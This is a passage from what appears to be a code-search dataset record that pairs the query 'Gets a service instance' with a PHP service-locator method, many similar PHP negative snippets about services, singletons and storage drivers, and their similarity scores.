$row[0]);\n }\n\n $taille = sizeof($tableauCredits);\n if ($taille == 0) {\n $epargne_median_cpte = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_cpte = $tableauCredits[($taille -1) / 2];\n }\n else {\n $epargne_median_cpte = ($tableauCredits[($taille) / 2] + $tableauCredits[($taille / 2) - 1]) / 2;\n }\n\n // Moyenne épargne par client\n $sql = \"SELECT AVG(t.sum) FROM (SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND etat_cpte <> 2 AND solde <> 0 GROUP BY id_titulaire) AS t\";\n\n $result = $db->query($sql);\n if (DB::isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n $row = $result->fetchrow();\n $epargne_moyen_client = $row[0];\n\n // Médiane épargne par client\n $sql = \"SELECT SUM(calculeCV(solde, devise, '$global_monnaie')) AS solde, id_titulaire FROM ad_cpt WHERE id_ag=$global_id_agence AND id_prod <> 2 AND id_prod <> 3 AND solde <> 0 GROUP BY id_titulaire ORDER BY solde\";\n\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__);\n }\n\n $tableauEpargne = array();\n while ($row = $result->fetchrow()) {\n array_push($tableauEpargne, $row[0]);\n }\n\n $taille = sizeof($tableauEpargne);\n if ($taille == 0) {\n $epargne_median_client = NULL;\n }\n elseif ($taille % 2 == 1) {\n $epargne_median_client = $tableauEpargne[($taille -1) / 2];\n }\n else {\n $epargne_median_client = ($tableauEpargne[($taille) / 2] + $tableauEpargne[($taille / 2) - 1]) / 2;\n }\n\n // Tableau de données\n $DATA['nombre_credits'] += $nombre_credits;\n $DATA['encours_brut'] += $encours_brut;\n $DATA['nombre_epargne'] += $nombre_epargne;\n $DATA['total_epargne'] += $total_epargne;\n $DATA['taux_renouvellement_credits'] += $taux_renouvellement_credits;\n $DATA['first_credit_moyen'] += $first_credit_moyen;\n $DATA['first_credit_median'] += $first_credit_median;\n $DATA['credit_moyen'] += $credit_moyen;\n $DATA['credit_median'] += $credit_median;\n $DATA['epargne_moyen_cpte'] += $epargne_moyen_cpte;\n $DATA['epargne_median_cpte'] += $epargne_median_cpte;\n $DATA['epargne_moyen_client'] += $epargne_moyen_client;\n $DATA['epargne_median_client'] += $epargne_median_client;\n }\n $dbHandler->closeConnection(true);\n\n return $DATA;\n}" ]
[ "0.56075525", "0.5344697", "0.52464586", "0.51361793", "0.51007867", "0.5060096", "0.4849163", "0.48221055", "0.48123753", "0.48104572", "0.4780442", "0.4778112", "0.4769197", "0.47589627", "0.46832055", "0.46826243", "0.4660549", "0.46392068", "0.46282265", "0.46197614", "0.45966262", "0.45899394", "0.45836875", "0.45789477", "0.4574328", "0.4566115", "0.45616114", "0.4557954", "0.45500538", "0.45340556", "0.45292386", "0.45242137", "0.45220363", "0.45176667", "0.45081592", "0.45042533", "0.44974017", "0.44841453", "0.44806707", "0.44683594", "0.44671157", "0.44667372", "0.44644254", "0.4461553", "0.4460532", "0.44584852", "0.44494173", "0.44492257", "0.44474325", "0.44465545", "0.44384548", "0.44374365", "0.44302303", "0.44298145", "0.44296202", "0.44247591", "0.44231668", "0.44189748", "0.44162783", "0.44143102", "0.44133478", "0.441142", "0.4407661", "0.44056606", "0.44002873", "0.439602", "0.4394185", "0.4386063", "0.43840098", "0.4379877", "0.43797618", "0.4369147", "0.43565592", "0.4356485", "0.4354942", "0.43441212", "0.43437606", "0.4342802", "0.43427187", "0.43418986", "0.43412414", "0.43375164", "0.43352357", "0.43339288", "0.4329396", "0.43268773", "0.43212664", "0.43203366", "0.43162066", "0.43120715", "0.43080026", "0.43045154", "0.43036416", "0.43009758", "0.43001932", "0.4296754", "0.4291607", "0.42876267", "0.42875245", "0.42866033", "0.42859364" ]
0.0
-1
Gets a service instance
public function getService($name) { if (!isset($this->_instances[$name])) { if (!$this->_services) { $this->_services = $this->config->getConfig('services'); } if (!isset($this->_services[$name])) { throw new \Exception( 'Undefined service : ' . $name ); } $this->_instances[$name] = new $this->_services[$name]($this); } return $this->_instances[$name]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private static function getServiceInstance()\n {\n $s = self::getServiceType();\n switch ($s) {\n case 0:\n http_response_code(404);\n exit();\n case 1:\n return new RCFaxClient();\n break;\n case 2:\n return new TwilioFaxClient();\n }\n }", "protected function service()\n {\n return new Service();\n }", "private static function getService()\n {\n return self::$app->get(static::SERVICE_NAME);\n }", "protected function getService()\n {\n return $this->service;\n }", "protected function getService()\n {\n return $this->service;\n }", "public function get_service() {\n\n\t\treturn $this->provider_instance;\n\t}", "public function getServiceInstance() {\n return $this->hasOne(ServiceInstance::className(), [\"id\" => \"service_instance_id\"]);\n }", "public static function getInstance()\n {\n\t\tif (self::$instance == null) {\n\t\t\tself::$instance = new ServiceProvider();\n\t\t}\n\t\treturn self::$instance;\n\t}", "public function getService()\n\t{\n\t\treturn $this->_service;\n\t}", "public static function getInstance()\n {\n if (!isset(self::$_instance) || null === self::$_instance)\n {\n // set singleton instance\n self::$_instance = new Bidding_Service_Bidding;\n }\n \n // return service instance\n return self::$_instance;\n }", "public function getService()\n {\n return $this->_service;\n }", "public function getSingleton(string $serviceId): mixed;", "public function getService()\n\t{\n\t\treturn $this->service;\n\t}", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function getService()\n {\n return $this->service;\n }", "public function service()\r\n {\r\n return $this->service;\r\n }", "public function service() {\n return $this->service;\n }", "protected static function doGetInst($serviceId)\n {\n if (null === self::$inst) {\n self::$inst = StazyContainer::getInst()->getService($serviceId);\n }\n return self::$inst;\n }", "public function getService()\n {\n if (!$this->service) {\n /** @var \\OAuth\\ServiceFactory $serviceFactory */\n $serviceFactory = $this->app->make('oauth/factory/service');\n $this->service = $this->factory->createService($serviceFactory);\n }\n\n return $this->service;\n }", "public function getService() {\n return $this->service;\n }", "public function getService ()\n {\n if (null === $this->_service) {\n $this->setService('Default_Service_Spirit');\n }\n return $this->_service;\n }", "public function service()\n {\n return $this->service;\n }", "public function get(string $service)\n {\n\n // cache available?\n if (array_key_exists($service, $this->cachedInstances)) {\n return $this->cachedInstances[$service];\n }\n\n\n // instantiate on the fly, and cache for the next time\n if (array_key_exists($service, $this->sicBlocks)) {\n try {\n $instance = $this->getService($this->sicBlocks[$service]);\n $this->cachedInstances[$service] = $instance;\n return $instance;\n } catch (\\Exception $e) {\n throw new OctopusServiceErrorException($e->getMessage(), 0, $e);\n }\n } else {\n throw new OctopusServiceErrorException(\"Service not found: $service\");\n }\n }", "public static function get($name) {\r\n return self::getInstance()->getService($name);\r\n }", "public function get(ServiceInterface $service);", "function getService() {\n return $this->service;\n }", "public static function getInstance() {\n if( !isset( self::$_instance ) ) {\n self::$_instance = new ServicesBuilder();\n }\n\n return self::$_instance;\n }", "public static function service() {\n return self::$app->serviceContainer;\n }", "public function getService($name) {\n if(!$this->hasService($name)) {\n throw new Exception(\"Service '$name' does not exist.\");\n }\n\n if(array_key_exists($name, $this->shared_instances)) {\n return $this->shared_instances[$name];\n }\n\n $service = $this->createService($name, NULL, TRUE);\n\n if($this->services[$name][\"shared\"]) {\n $this->shared_instances[$name] = $service;\n }\n\n return $service;\n }", "public function getServiceById($id)\n {\n return Service::find($id);\n }", "public static function getService($id = 0) {\n $service = ORM::forTable('service')->findOne($id);\n\n if ($service === 0) {\n $service = Admin::createService();\n return $service;\n }\n\n if (!$service) {\n throw new Exception('Unable to find Service record for id = ' . $id);\n }\n\n return $service;\n }", "public static function getService($service)\n {\n return self::$container->get($service);\n }", "public static function getInstance($name = 'default') {\r\n if (!array_key_exists($name, self::$instances)) {\r\n self::$instances[$name] = new MOC_Api_Service();\r\n }\r\n return self::$instances[$name];\r\n }", "function __get_service($service) {\n\n if ($this->services[$service] === null) {\n\n $url = $this->soap_endpoint.'/'.$service.'?wsdl';\n\n $this->services[$service] =\n $this->__create_soap_client($url, $this->soap_wsdl);\n\n }\n\n return $this->services[$service];\n\n}", "public static function getInstance() {\n return !self::$instance ? new restaurantService() : self::$instance;\n\t\t}", "public function getAppService()\n {\n return $this->getController()->getServiceLocator()->get('Application\\Service\\Service');\n }", "public static function getService($id)\n {\n return self::getManager()->getService($id);\n }", "public function getService($service)\n {\n return $this->container[$service];\n }", "public function getInstance()\n {\n return $this->instance;\n }", "public function getInstance()\n {\n return $this->instance;\n }", "public function getInstance()\n {\n return $this->instance;\n }", "public function getInstance()\n {\n return $this->instance;\n }", "public function get($service)\n {\n return $this->getContainer()->get($service);\n }", "public static function instance() {\n\t\treturn tribe( 'events-aggregator.service' );\n\t}", "public function getService()\n {\n return $this->send('POST', 'getService');\n }", "function get_service($limit = 3){\n return app(ServiceInterface::class)->getService();\n }", "public static function service($name)\n {\n return Container::getInstance()->make($name);\n }", "public static function getMainInstance(): ServiceProvider\n {\n return self::getInstance(-1);\n }", "public function getInstance() {\n\t\treturn $this->instance;\n\t}", "public function getService() // TODO: add function return type\r\n {\r\n $connection_properties = $this->get();\r\n\r\n // load the services from the services store; for connections,\r\n // make sure the service also has the connection interface\r\n $connection_type = $connection_properties['connection_type'];\r\n $connection_info = $connection_properties['connection_info'];\r\n $service = \\Flexio\\Services\\Factory::create($connection_type, $connection_info);\r\n if (!($service instanceof \\Flexio\\IFace\\IConnection))\r\n throw new \\Flexio\\Base\\Exception(\\Flexio\\Base\\Error::NO_SERVICE);\r\n\r\n // for oauth services, the access token may have been refreshed via\r\n // a refresh token, so these should be saved so that the access token\r\n // isn't refreshed in every subsequent call\r\n if ($service instanceof \\Flexio\\IFace\\IOAuthConnection)\r\n {\r\n $tokens = $service->getTokens();\r\n $connection_info = $connection_properties['connection_info'];\r\n\r\n $info_changed = false;\r\n if (!isset($connection_info))\r\n {\r\n $info_changed = true;\r\n }\r\n else\r\n {\r\n if (($connection_info['access_token'] ?? false) !== $tokens['access_token'])\r\n $info_changed = true;\r\n if (($connection_info['refresh_token'] ?? false) !== $tokens['refresh_token'])\r\n $info_changed = true;\r\n if (($connection_info['expires'] ?? false) !== $tokens['expires'])\r\n $info_changed = true;\r\n }\r\n\r\n if ($info_changed === true)\r\n $this->set([ 'connection_info' => $tokens]);\r\n }\r\n\r\n return $service;\r\n }", "public static function factory(): ServiceInterface\n {\n return new static();\n }", "public function getService($id)\n {\n return $this->getContainer()->get($id);\n }", "function getService($id) {\n // id du service\n $id = strtolower($id);\n // si le service existe déjà on le retourne\n if (isset($this->services[$id]))\n return $this->services[$id];\n else {\n // sinon on le charge\n $class = ucfirst($id) . \"Service\";\n $filename = \"services/\" . $class . \".php\";\n if (file_exists($filename)) {\n include($filename);\n $this->services[$id] = new $class($this);\n return $this->services[$id];\n }\n }\n // enfin, si on a rien retourné, c'est qu'on a rien trouvé\n Application::addMessage(0, \"error\", \"Impossible de charger le service \" . $id);\n return null;\n }", "public static function getService($name)\n {\n global $container;\n $service = $container->getByType($name, false);\n if (!$service) {\n $service = $container->getService($name);\n }\n return $service;\n }", "public static function getOrCreate(string $name)\n {\n $service = static::$services[$name];\n\n if (null === $service) {\n static::$services[$name] = new $name();\n return static::$services[$name];\n }\n\n return $service;\n }", "public function service()\n {\n if ($this->service !== null) {\n return call_user_func($this->service, $this);\n } else {\n throw new InvalidConfigException('Either \"' . get_class($this) . '::service\" must be set.');\n }\n }", "public static function getInstance()\n {\n return self::$instance ?? self::getNewInstance();\n }", "public static function instance()\n {\n global $container;\n return $container->getByType(self::class);\n }", "public function getService($name)\n {\n return $this->container->get($name);\n }", "protected function resourceService(){\n return new $this->resourceService;\n }", "public function getService() : ?ServiceOTP\n {\n return $this->service;\n }", "public function getInstance($name, $usePeeringServiceManagers = true)\n {\n // inlined code from ServiceManager::canonicalizeName for performance\n if (isset($this->canonicalNames[$name])) {\n $cName = $this->canonicalNames[$name];\n } else {\n $cName = $this->canonicalizeName($name);\n }\n\n $isAlias = false;\n\n if ($this->hasAlias($cName)) {\n $isAlias = true;\n $cName = $this->resolveAlias($cName);\n }\n\n $instance = null;\n\n if ($usePeeringServiceManagers && $this->retrieveFromPeeringManagerFirst) {\n $instance = $this->retrieveFromPeeringManager($name);\n\n if (null !== $instance) {\n return $instance;\n }\n }\n\n if (isset($this->instances[$cName])) {\n return $this->instances[$cName];\n }\n\n if (!$instance) {\n $this->checkNestedContextStart($cName);\n if (\n isset($this->invokableClasses[$cName])\n || isset($this->factories[$cName])\n || isset($this->aliases[$cName])\n || $this->canCreateFromAbstractFactory($cName, $name)\n ) {\n $instance = $this->create(array($cName, $name));\n } elseif ($isAlias && $this->canCreateFromAbstractFactory($name, $cName)) {\n /*\n * case of an alias leading to an abstract factory :\n * 'my-alias' => 'my-abstract-defined-service'\n * $name = 'my-alias'\n * $cName = 'my-abstract-defined-service'\n */\n $instance = $this->create(array($name, $cName));\n } elseif ($usePeeringServiceManagers && !$this->retrieveFromPeeringManagerFirst) {\n $instance = $this->retrieveFromPeeringManager($name);\n }\n $this->checkNestedContextStop();\n }\n\n // Still no instance? raise an exception\n if ($instance === null) {\n $this->checkNestedContextStop(true);\n if ($isAlias) {\n throw new Exception\\ServiceNotFoundException(sprintf(\n 'An alias \"%s\" was requested but no service could be found.',\n $name\n ));\n }\n\n throw new Exception\\ServiceNotFoundException(sprintf(\n '%s was unable to fetch or create an instance for %s',\n get_class($this) . '::' . __FUNCTION__,\n $name\n ));\n }\n\n if (\n ($this->shareByDefault && !isset($this->shared[$cName]))\n || (isset($this->shared[$cName]) && $this->shared[$cName] === true)\n ) {\n $this->instances[$cName] = $instance;\n }\n\n return $instance;\n }", "public static function getInstance() {\r\n if (!Website_Service_Cache::$instance instanceof self) {\r\n Website_Service_Cache::$instance = new self();\r\n }\r\n return Website_Service_Cache::$instance;\r\n }", "protected function instantiate_service( $class_name ): Service {\n\t\t/*\n\t\t * If the service is not registerable, we default to lazily instantiated\n\t\t * services here for some basic optimization.\n\t\t *\n\t\t * The services will be properly instantiated once they are retrieved\n\t\t * from the service container.\n\t\t */\n\t\tif ( ! is_a( $class_name, Registerable::class, true ) ) {\n\t\t\treturn new LazilyInstantiatedService(\n\t\t\t\tfn() => $this->injector->make( $class_name )\n\t\t\t);\n\t\t}\n\n\t\t// The service needs to be registered, so instantiate right away.\n\t\t$service = $this->injector->make( $class_name );\n\n\t\tif ( ! $service instanceof Service ) {\n\t\t\tthrow InvalidService::from_service( $service ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped\n\t\t}\n\n\t\treturn $service;\n\t}", "public static function get_instance()\n {\n }", "public static function get_instance()\n {\n }", "public static function get_instance()\n {\n }", "public static function get_instance()\n {\n }", "public static function get_instance()\n {\n }", "public static function get_instance()\n {\n }", "public function getService(string $serviceId, array $arguments = []): Service;", "public function get($serviceName);", "public function getInstance()\n {\n return self::$instance;\n }", "final public function getService($type)\n\t{\n\t\treturn $this->getServiceLocator()->getService($type);\n\t}", "public function get($name)\n {\n $canonicalName = $this->getCanonicalName($name);\n\n if (isset($this->instances[$canonicalName])) {\n return $this->instances[$canonicalName];\n }\n\n if (isset($this->invokableClasses[$canonicalName])) {\n $instance = $this->createFromInvokable($canonicalName);\n $this->instances[$canonicalName] = $instance;\n return $instance;\n }\n\n $object = $this->serviceLocator->get($name);\n if ($object !== null) {\n return $object;\n }\n\n return null;\n }", "function getOne($serviceName)\n {\n return $this->_get($serviceName);\n }", "public function &getService(string $name, bool $create = true): Service {\n\n # Is there a Service for that name?\n if (!isset($this->services[$name])) {\n throw new \\Exception('Service Not Found');\n }\n\n # A string will be treated as classname: an service object will be created and stored.\n if (is_string($this->services[$name])) {\n if ($create) {\n $classname = $this->services[$name];\n if (!class_exists($classname)) {\n throw new \\Exception('service \"' . $classname . '\" not found');\n }\n # maybe not needed to store the object ...\n $this->services[$name] = new $classname($this, $this->getRequest());\n } else {\n throw new \\Exception('Service Not Found');\n }\n }\n\n $service = $this->services[$name];\n return $service;\n }", "public function show(Service $service)\n {\n return new ServiceResource($service);\n }", "public static function getInstance() {\n // Check to see if an instance has already\n // been created\n if (is_null(self::$oInstance)) {\n // If not, return a new instance\n return self::setInstance();\n } else {\n // If so, return the previously created\n // instance\n return self::$oInstance;\n }\n }", "public static function instance(): ServiceProvider\n {\n if (null === self::$instance) {\n $definitions = new DefinitionContainer();\n self::$instance = new ServiceProvider(\n new ServiceContainer($definitions),\n $definitions\n );\n }\n\n return self::$instance;\n }", "public static function getService($serviceName) {\n return Application::$services[$serviceName];\n }", "protected function getSingletonWithoutChecks(string $serviceId): mixed\n {\n /** @var mixed $instance */\n $instance = self::$instances[$serviceId] ??= $this->getServiceWithoutChecks($serviceId);\n\n return $instance;\n }", "public function __invoke()\n {\n $client = $this->container->get('cpms\\service\\api');\n\n return $client;\n }", "public function get($serviceId)\n {\n if (isset($this->services[$serviceId])) {\n return $this->services[$serviceId];\n }\n\n if (!isset($this->instantiators[$serviceId])) {\n throw new \\InvalidArgumentException(sprintf(\n 'No instantiator has been registered for requested service \"%s\"',\n $serviceId\n ));\n }\n\n $this->services[$serviceId] = $this->instantiators[$serviceId]($this);\n\n return $this->services[$serviceId];\n }", "public static function get_instance ();", "protected static function getInstance()\n {\n\t\treturn static::getFacadeAccessor();\n }", "public function __get( $name ) {\n\t\tif ( ! isset( $this->services[ $name ] ) ) {\n\t\t\tthrow new InvalidArgumentException( \"Unknown service $name\" );\n\t\t}\n\t\t$service = $this->services[ $name ];\n\n\t\treturn $service();\n\t}", "public static function getInstance() {\n\t\t\treturn !self::$instance ? new checkoutService() : self::$instance;\n\t\t}", "final protected function get_service( $identifier ) {\n\t\tif ( null === $this->google_services ) {\n\t\t\t$services = $this->setup_services( $this->get_client() );\n\t\t\tif ( ! is_array( $services ) ) {\n\t\t\t\tthrow new Exception( __( 'Google services not set up correctly.', 'google-site-kit' ) );\n\t\t\t}\n\t\t\tforeach ( $services as $service ) {\n\t\t\t\tif ( ! $service instanceof Google_Service ) {\n\t\t\t\t\tthrow new Exception( __( 'Google services not set up correctly.', 'google-site-kit' ) );\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->google_services = $services;\n\t\t}\n\n\t\tif ( ! isset( $this->google_services[ $identifier ] ) ) {\n\t\t\t/* translators: %s: service identifier */\n\t\t\tthrow new Exception( sprintf( __( 'Google service identified by %s does not exist.', 'google-site-kit' ), $identifier ) );\n\t\t}\n\n\t\treturn $this->google_services[ $identifier ];\n\t}", "protected function _service( $name ) {\n\n\t\tif ( !isset( $this->_services[ $name ])) {\n\t\t\tthrow new Exception( \"The '$service' service is not configured.\" );\n\t\t}\n\n\t\treturn $this->_services[ $name ];\n\t}", "public function getService($name)\n {\n return $this->getServiceLocator()->get($name);\n }", "public function getOne($id)\n {\n return ServiceModel::findOrFail($id);\n }", "public function getService()\n {\n return null;\n }", "public static function getInstance()\n {\n return self::$instance;\n }", "public static function getInstance()\n {\n return self::$instance;\n }" ]
[ "0.7471871", "0.7321831", "0.7246111", "0.71809363", "0.71809363", "0.7146149", "0.71012014", "0.70668995", "0.7054969", "0.70494986", "0.7047633", "0.704367", "0.7017104", "0.7000491", "0.7000491", "0.7000491", "0.7000491", "0.7000491", "0.7000491", "0.7000491", "0.69760007", "0.6922666", "0.69207656", "0.6919717", "0.691941", "0.69175804", "0.6866542", "0.686457", "0.68390286", "0.6830942", "0.6821867", "0.67796576", "0.6759272", "0.675278", "0.67249006", "0.6711835", "0.67106885", "0.6693793", "0.66883445", "0.66650784", "0.66289485", "0.65750736", "0.6557152", "0.6545907", "0.6545907", "0.6545907", "0.6545907", "0.6520738", "0.65055966", "0.6504369", "0.65016353", "0.6497111", "0.6496436", "0.64855903", "0.64588004", "0.64396393", "0.642137", "0.64018464", "0.6394529", "0.6394476", "0.63684654", "0.6338942", "0.6334327", "0.63336134", "0.6325633", "0.6309089", "0.62921846", "0.6275718", "0.62748116", "0.62727684", "0.62727684", "0.62727684", "0.62727684", "0.6272192", "0.62716335", "0.6250966", "0.6242483", "0.62352663", "0.62190396", "0.6218361", "0.62146896", "0.6213153", "0.6209541", "0.62055755", "0.619679", "0.6191749", "0.61882037", "0.6176372", "0.61698717", "0.6157788", "0.6147389", "0.6138311", "0.6136635", "0.61319345", "0.61281776", "0.61245614", "0.6124211", "0.6121527", "0.61153334", "0.61153334" ]
0.65276504
47
Gets the specified storage driver
public function getStorage($name) { return $this ->getService('storage') ->getDriver($name) ; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function getCloudDriver()\r\n\t{\r\n\t\treturn $this->royalcms['config']['filesystems.cloud'];\r\n\t}", "Public Function getDriver() { Return $this->driver; }", "public function getDriver()\n {\n return $this->driver;\n }", "public function getLocalDriverHandle()\n {\n return $this->config->get('acme::filesystem.local_driver');\n }", "function get_storage()\n{\n return env('FILESYSTEM_DRIVER');\n}", "public function getDriver()\n {\n return $this->config['driver'];\n }", "public function getDriver()\n {\n return $this->_driver;\n }", "public function getDriver()\n {\n return $this->_driver;\n }", "final public function getDriver() {\n return $this->driver;\n }", "public function getDriver()\n\t{\n\t\treturn $this->driver;\n\t}", "public function driver()\n {\n return $this->driver;\n }", "public function getdriver()\n {\n return $this->driver;\n }", "public function get_driver()\n\t{\n\t\treturn $this->driver;\n\t}", "public function getDriver()\n {\n return $this->_list->getDriver();\n }", "public function getStorageService()\n {\n $class = $this->app['config']->get('shoppingcart.storage','session');\n\n switch ($class)\n {\n case 'session':\n return 'session';\n break;\n case 'database':\n return 'database';\n break;\n default:\n return 'session';\n break;\n }\n }", "protected function getDefaultDriver()\n {\n return config('filesystems.default');\n }", "public function getDefaultDriver()\n {\n return config('filesystems.default');\n }", "public function driver(): ?string\n {\n return $this->driver;\n }", "function getStorageEngine() {\n \treturn $this->storage_engine;\n }", "public function getDriver() {\n return $this->_driver;\n }", "public function getDriver() {\n return $this->_driver;\n }", "protected function getDefaultDriver()\r\n\t{\r\n\t\treturn $this->royalcms['config']['filesystems.default'];\r\n\t}", "public function getDefaultDriver()\n\t{\n\t\treturn $this->royalcms['config']['filesystems.default'];\n\t}", "public function getCacheDriver()\n {\n return (string)$this->cacheDriver;\n }", "public function getDriver(): ?string\n {\n \\Logger::getLogger(\\get_class($this))\n ->info(\\sprintf(\n __METHOD__ . \" get '%s'\",\n $this->driver === null\n ? \"null\"\n : $this->driver\n ));\n return $this->driver;\n }", "protected static function getAvailableDriver()\n {\n $serverDiagnostic = new ServerDiagnostic();\n $candidates = [\n [\n \"name\" => \"gd\",\n \"type\" => \"extension\",\n ],\n [\n \"name\" => \"imagick\",\n \"type\" => \"extension\",\n ],\n ];\n $diagnostic = $serverDiagnostic->checkRequirements($candidates);\n\n if ($diagnostic[\"imagick\"][\"passed\"]) {\n return \"imagick\";\n } else if ($diagnostic[\"gd\"][\"passed\"]) {\n return \"gd\";\n }\n\n // Return gd by default\n return \"gd\";\n }", "public function driver()\n {\n return strtolower($this->driver);\n }", "public function storage(): FilesystemAdapter\n {\n return Storage::disk($this->getDiskName());\n }", "public function getDriverIdentifier()\n {\n return $this->driver;\n }", "public function driver($driver = null)\n\t{\n\t\treturn $this->store($driver);\n\t}", "public function getDriver()\r\n\t{\r\n\t\treturn $this->dbDriver;\r\n\t}", "protected function getSelectedDbalDriver() {}", "abstract protected function getDriver();", "public function getStorageService();", "public function driver($driver = null)\n {\n return $this->store($driver);\n }", "protected function getDriver(): string\n {\n return $this->pdo->getAttribute(\\PDO::ATTR_DRIVER_NAME);\n }", "protected function getDriver() {}", "public function getAuthenticatedDriver()\n {\n $driverId = $this->resourceServer->getOwnerId();\n return DriverRepository::find($driverId);\n }", "public function driver()\n {\n return $this->makeDriversFactory($this->makeConfig())->make();\n }", "public function getDriverType() {}", "protected function getStorage($storageName)\n {\n return Config::get('mysql_dump.storage.' . $storageName);\n }", "public function getStorage()\n {\n return $this->get(self::_STORAGE);\n }", "public function getStorage(): StorageInterface\n {\n return $this->configuration[ConfigurationInterface::STORAGE];\n }", "public function getDriverName()\n {\n return $this->getConfig('driver');\n }", "function is_storage_driver($driver)\n{\n if (is_array($driver)) {\n return in_array(config('filesystems.default'), $driver);\n }\n\n return config('filesystems.default') === $driver;\n}", "public function getStorageType()\n\t{\n\t\treturn \"db\";\n\t}", "final public function getDriverName(): string\n {\n return $this->driver;\n }", "public function getCacheDriver(): ?string;", "public static function getStorage() {}", "public function getDefaultDriver(): string\n {\n return $this->app['config'][$this->driverKey()];\n }", "protected function getStorageDisk()\n {\n return config('paperclip.storage.disk')\n ?: config('filesystems.default');\n }", "public function getStorage() {}", "public function getStorage() {}", "public function getStorage() {}", "private function getSearchDriverForResource()\n {\n if ($this->isResourceValid())\n {\n $driver = new FreebaseSearchDriver(\n $this->container->getParameter(\"freebase_search_base_url\"),\n $this->container->getParameter(\"freebase_api_key\"),\n $this->container->getParameter(\"freebase_topic_base_url\"),\n $this->container->getParameter(\"freebase_base_mql_url\"),\n $this->container->getParameter(\"freebase_image_search\"),\n $this->container->getParameter(\"freebase_languages_to_retrieve\"),\n ''\n );\n $driver->setDefaultLanguage($this->language);\n\n return $driver;\n } else {\n throw new \\Exception(\"No driver found for the resource {$this->resourceToImport}\");\n }\n }", "public function getStorage();", "public function getStorage();", "public function getDefaultDriver()\n {\n return Arr::get($this->container['config']['cache'], 'default');\n }", "public function getDefaultDriver()\n {\n return $this->app['config']['instruments.driver'];\n }", "public function getDriverName(): string;", "private static function _dbDriver(): string\n {\n $db = Craft::$app->getDb();\n\n if ($db->getIsMysql()) {\n $driverName = 'MySQL';\n } else {\n $driverName = 'PostgreSQL';\n }\n\n return $driverName . ' ' . App::normalizeVersion($db->getSchema()->getServerVersion());\n }", "function getDriver($name = null);", "protected function getDefaultStorage()\n {\n $storageList = $this->_storages;\n $storageNames = array_keys($storageList);\n $defaultStorageName = array_shift($storageNames);\n if (empty($defaultStorageName)) {\n throw new Exception('Unable to determine default storage in the hub!');\n }\n $storage = $this->getStorage($defaultStorageName);\n return $storage;\n }", "public function storageClass()\n {\n return 'OAuth2_Storage_Pdo';\n }", "public static function getDisk()\n {\n return Storage::disk('s3');\n }", "public function getDefaultDriver()\n {\n return $this->configurations['driver'] ?? 'gd';\n }", "function getStorage();", "protected function getBestDriver()\n\t{\n\t\treturn $this->getChild('LazyDataMapper\\Tests\\Driver', 5);\n\t}", "public function getDriver()\n {\n if ($this->driver === null) {\n $this->driver = $this->getPDO()->getAttribute(PDO::ATTR_DRIVER_NAME);\n }\n\n return $this->driver;\n }", "function strGetDriverType() {\n return $this->strDriverType;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getStorage()\n {\n return $this->storage;\n }", "public function getDefaultDriver()\n {\n $driver = $this->config[self::$packageName.'::driver'];\n return $driver;\n }", "public function getStorage()\r\n {\r\n return $this->storage;\r\n }", "public static function getStorage($mountPoint) {\n\t\tif (!self::$mounts) {\n\t\t\t\\OC_Util::setupFS();\n\t\t}\n\t\t$mount = self::$mounts->find($mountPoint);\n\t\treturn $mount->getStorage();\n\t}", "public static function getDisk()\n {\n\t\t$defaultDisk = self::getDiskName();\n\t\t$disk = Storage::disk($defaultDisk);\n\t\t\n\t\treturn $disk;\n }", "public function getDefaultDriver()\n {\n $driver = $this->app['config']['localize-middleware']['driver'];\n\n return is_array($driver) ? 'stack' : $driver;\n }", "public function getDriverName()\n {\n return $this->db->get_dbfamily();\n }", "public function storage($storage)\n\t{\n\t\treturn $this->storage->get($storage);\n\t}", "public function getDefaultDriver()\n {\n return $this->config()->get('settings.default', 'json');\n }", "public function getDriverName()\n {\n return isset($this->driverName) ? $this->driverName : null;\n }", "public function storageType();", "private function getNewDriver()\n {\n return 'file';\n }", "public function getStorage()\n {\n return Controllers\\StorageController::getInstance();\n }", "function getStorage() ;", "public function getStorageType() {\n return $this->configuration['storage_type'] ?: NULL;\n }", "public function getStorageId() {\n return $this->configuration['storage_id'] ?: NULL;\n }", "public function getDriverName()\n {\n return $this->driverName;\n }", "public function getTranslationDriver()\n {\n return \\XLite\\Core\\Translation::getInstance()->getDriver()->getName();\n }", "public function getDefaultDriver()\n {\n return Config::get('currency::default_provider');\n }", "public function getStorage(): StorageInterface\n {\n return $this->storage;\n }", "function getStorage()\n{\n\tif (!$this->storage) $this->storage = new AuthDbStorage;\n\treturn $this->storage;\t\n}", "public function getStorageGroup()\n {\n return $this->get('storagegroup');\n }" ]
